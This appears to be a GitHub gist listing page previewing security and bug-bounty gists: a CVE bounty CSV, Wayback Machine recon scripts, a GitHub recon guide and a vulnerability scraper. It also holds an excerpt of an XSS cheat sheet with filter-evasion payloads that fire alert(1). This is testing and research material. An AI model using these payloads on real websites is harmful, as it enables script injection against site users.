Skip to content

Instantly share code, notes, and snippets.

View michaellcader's full-sized avatar
🏠
Working from home

MichaellCader michaellcader

🏠
Working from home
37 followers · 39 following
View GitHub Profile
@orangetw
orangetw / bounties.csv
Created April 18, 2017 12:40 — forked from nuthanmunaiah/bounties.csv
cve product bounty source
CVE-2014-0257 .NET Framework 5,000.00 https://hackerone.com/reports/18851
CVE-2015-3842 Android 2,000.00 https://code.google.com/p/android/issues/detail?id=177610
CVE-2015-3847 Android 1,500.00 https://code.google.com/p/android/issues/detail?id=179147
CVE-2015-3860 Android 500.00 https://code.google.com/p/android/issues/detail?id=178139
CVE-2015-3862 Android 333.00 https://code.google.com/p/android/issues/detail?id=181895
CVE-2015-3865 Android 1,500.00 https://code.google.com/p/android/issues/detail?id=182294
CVE-2015-3867 Android 4,000.00 https://code.google.com/p/android/issues/detail?id=182838
CVE-2015-3868 Android 4,000.00 https://code.google.com/p/android/issues/detail?id=182146
CVE-2015-3869 Android 3,000.00 https://code.google.com/p/android/issues/detail?id=182053
@mrlesmithjr
mrlesmithjr / dig2JSON
Last active November 15, 2024 12:05
dig results to parsable json
foo=$(dig google.com +nocomments +noquestion +noauthority +noadditional +nostats | awk '{if (NR>3){print}}'| jq -R 'split("\t") |{Name:.[0],TTL:.[2],Class:.[3],Type:.[4],IpAddress:.[5]}' | jq --slurp .) | jq -n --argjson v $foo '{"foo": $v}'
@mhmdiaa
mhmdiaa / waybackrobots.py
Last active March 17, 2025 03:29
import requests
import re
import sys
from multiprocessing.dummy import Pool
def robots(host):
r = requests.get(
'https://web.archive.org/cdx/search/cdx\
?url=%s/robots.txt&output=json&fl=timestamp,original&filter=statuscode:200&collapse=digest' % host)
@mhmdiaa
mhmdiaa / waybackurls.py
Last active April 2, 2025 13:03
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@mminer
mminer / MyService.swift
Last active April 23, 2024 23:00
Components of XPC service.
import Foundation
class MyService: NSObject, MyServiceProtocol {
func upperCaseString(_ string: String, withReply reply: @escaping (String) -> Void) {
let response = string.uppercased()
reply(response)
}
}
@EdOverflow
EdOverflow / github_bugbountyhunting.md
Last active May 8, 2025 01:11
My tips for finding security issues in GitHub projects.

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output
@gabemarshall
gabemarshall / wayback.sh
Created August 23, 2017 17:53
Script to download results from the wayback machine, and do some ghetto parsing
#!/bin/bash
# Requires httpie and jq
#### Settings ####
read -p "What domain would you like to search the wayback machine for? " domain
http --download --output=$domain.json "https://web.archive.org/cdx/search?url=$domain%2F&matchType=prefix&collapse=urlkey&output=json&fl=original%2Cmimetype%2Ctimestamp%2Cendtimestamp%2Cgroupcount%2Cuniqcount&filter=!statuscode%3A%5B45%5D..&_=1498608272486"
cat $domain.json| jq '.[][]'| grep 'http'| grep -v -i -e '.js' -e '.gif' -e '.png' -e '.jpg' -e '.jpeg' -e '.css' | cut -d '"' -f2 > $domain".txt"
@EdOverflow
EdOverflow / broken_link_hijacking.md
Last active May 30, 2023 18:31
This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.
@dave5623
dave5623 / xss.txt
Created January 31, 2018 21:44
Xss Cheat Sheet from https://gbhackers.com/top-500-important-xss-cheat-sheet/
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
@No1zy
No1zy / get_vulinfo.py
Last active November 26, 2018 16:34
# coding: utf-8
import csv
import sys
import datetime
import requests
from bs4 import BeautifulSoup
BASE_URL = 'https://jvndb.jvn.jp'
SOFTWARE_NAME = sys.argv[1]